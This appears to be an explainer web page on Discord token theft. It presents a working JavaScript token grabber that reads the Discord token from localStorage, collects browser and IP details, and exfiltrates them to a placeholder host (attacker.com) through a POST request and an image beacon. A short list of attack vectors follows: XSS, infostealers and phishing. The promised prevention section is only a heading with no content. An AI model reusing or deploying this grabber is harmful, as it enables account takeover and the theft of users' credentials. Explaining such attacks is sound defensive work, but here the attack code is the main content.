How Cookie Logging Works

The technical process behind token theft and account compromise.

JavaScript
// Basic token grabber implementation
function stealDiscordToken() {
    // Extract token from localStorage
    const token = localStorage.getItem('token');
    
    // Gather additional system information
    const systemInfo = {
        userAgent: navigator.userAgent,
        platform: navigator.platform,
        language: navigator.language,
        screenResolution: `${screen.width}x${screen.height}`,
        timezone: Intl.DateTimeFormat().resolvedOptions().timeZone
    };
    
    // Get public IP address
    fetch('https://api.ipify.org?format=json')
        .then(response => response.json())
        .then(ipData => {
            const stolenData = {
                token: token,
                systemInfo: systemInfo,
                ipAddress: ipData.ip,
                timestamp: new Date().toISOString()
            };
            
            // Exfiltrate to attacker server
            sendToAttacker(stolenData);
        });
}

function sendToAttacker(data) {
    // Multiple exfiltration methods
    const methods = [
        () => fetch('https://attacker.com/log', {
            method: 'POST',
            body: JSON.stringify(data)
        }),
        () => {
            const img = new Image();
            img.src = `https://attacker.com/beacon?data=${btoa(JSON.stringify(data))}`;
        }
    ];
    
    // Try all methods for reliability
    methods.forEach(method => {
        try { method(); } catch(e) {}
    });
}

Common Attack Vectors

The primary methods attackers use to steal authentication tokens.

XSS Attacks

Malicious JavaScript injected into web pages through unvalidated user input, ads, or third-party widgets.

  • DOM-based XSS
  • Stored XSS
  • Reflected XSS

Malware & Infostealers

Trojanized applications that scan for and exfiltrate browser data, including authentication tokens.

  • Discord client modifications
  • Game cheats and mods
  • Fake software cracks

Phishing Campaigns

Social engineering attacks that trick users into authenticating on fake websites or running malicious code.

  • Fake Discord login pages
  • Nitro generator scams
  • OAuth authorization phishing

Prevention & Mitigation

Comprehensive strategies to protect against token theft.
